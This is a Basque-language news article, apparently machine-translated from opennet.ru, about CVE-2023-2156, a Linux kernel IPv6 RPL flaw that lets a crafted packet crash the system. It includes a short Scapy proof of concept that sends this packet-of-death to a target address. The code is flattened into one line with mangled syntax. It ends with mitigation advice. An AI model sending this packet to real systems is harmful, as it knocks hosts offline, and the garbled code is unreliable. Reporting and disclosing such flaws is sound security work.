0 eguneko Linux IPv6 pilaren ahultasuna, urruneko nukleoaren hutsegitea ahalbidetzen duena

Linux nukleoan zuzendu gabeko (0 eguneko) ahultasun bati buruzko informazioa (CVE-2023-2156) ezagutarazi da, eta sistema geldiarazteko aukera ematen du bereziki diseinatutako IPv6 paketeak (packet-of-death) bidaliz. Arazoa bakarrik agertzen da RPL (Routing Protocol for Low-Power and Lossy Networks) protokoloaren euskarria gaituta dagoenean, banaketetan lehenespenez desgaituta dagoena eta pakete-galera handia duten haririk gabeko sareetan dabiltzan gailu txertatuetan erabiltzen dena.

Ahultasuna RPL protokoloaren analisi-kodean kanpoko datuen prozesamendu okerrak eragiten du, eta horrek baieztapen-huts bat dakar eta nukleoa izu-egoeran sartzen da. IPv6 RPL paketeen goiburua analizatzean lortutako datuak k_buff (Socket Buffer) egituran jartzen direnean, CmprI eremua 15ean ezarrita badago, Segleft eremua 1ean eta CmprE 0ean, helbideak dituen 48 byteko bektorea deskonprimitzen da. 528 byte-ra eta buffererako esleitutako memoria nahikoa ez den egoera agertzen da. Kasu honetan, skb_push funtzioak, datuak egiturara sartzeko erabiltzen dena, datuen tamainaren eta buffer-aren arteko neurketarik eza egiaztatzen du, izu-egoera bat sortuz bufferaren mugatik haratago idaztea saihesteko.

Explotation adibidea: # Scapy erabiliko dugu paketea scapy.all import * inportatu socketetik egiteko # Erabili IPv6 zure LAN interfazetik DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Socket-ak erabiltzen ditugu paketea bidaltzeko sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paketea landu # Mota = 3 honek RPL pakete bat egiten du # Helbideak 3 helbide ditu, baina CmprI 15 denez, # lehenengo bi helbideetako zortzikote bakoitza da helbide konprimitu gisa tratatua # Segleft = 1 anplifikazioa abiarazteko # lastentry = 0xf0 CmprI 15 eta CmprE 0 ezartzen ditu p = IPv6 (src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting (type=3, addresses:=[β€œa8): :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Bidali pakete gaizto hau sockfd.sendto(bytes(p), (DST_ADDR, 0))

Azpimarratzekoa da kerneleko garatzaileek 2022ko urtarrilean jakinarazi zietela ahultasunaren berri eta azken 15 hilabeteetan hiru aldiz saiatu direla arazoa konpontzen, 2022ko irailean, 2022ko urrian eta 2023ko apirilean adabakiak kaleratu zituzten, baina konponketak izan ziren bakoitzean. nahikoa ez eta ahultasuna ezin izan da erreproduzitu. Azken finean, ahultasuna konpontzeko lana koordinatu zuen ZDI proiektuak ahultasunari buruzko informazio zehatza kaleratzea erabaki zuen, nukleoan laneko konponketa bat eskuragarri egon arte itxaron gabe.

Beraz, ahultasuna oraindik konpondu gabe dago. Bereziki, 6.4-rc2 nukleoan sartutako adabakia ez da eraginkorra. Erabiltzaileei gomendatzen zaie egiaztatzeko RPL protokoloa ez dela erabiltzen beren sistemetan, eta hori sysctl -a komandoa erabiliz egin daiteke. grep -i rpl_seg_enabled

Iturria: opennet.ru

Gehitu iruzkin berria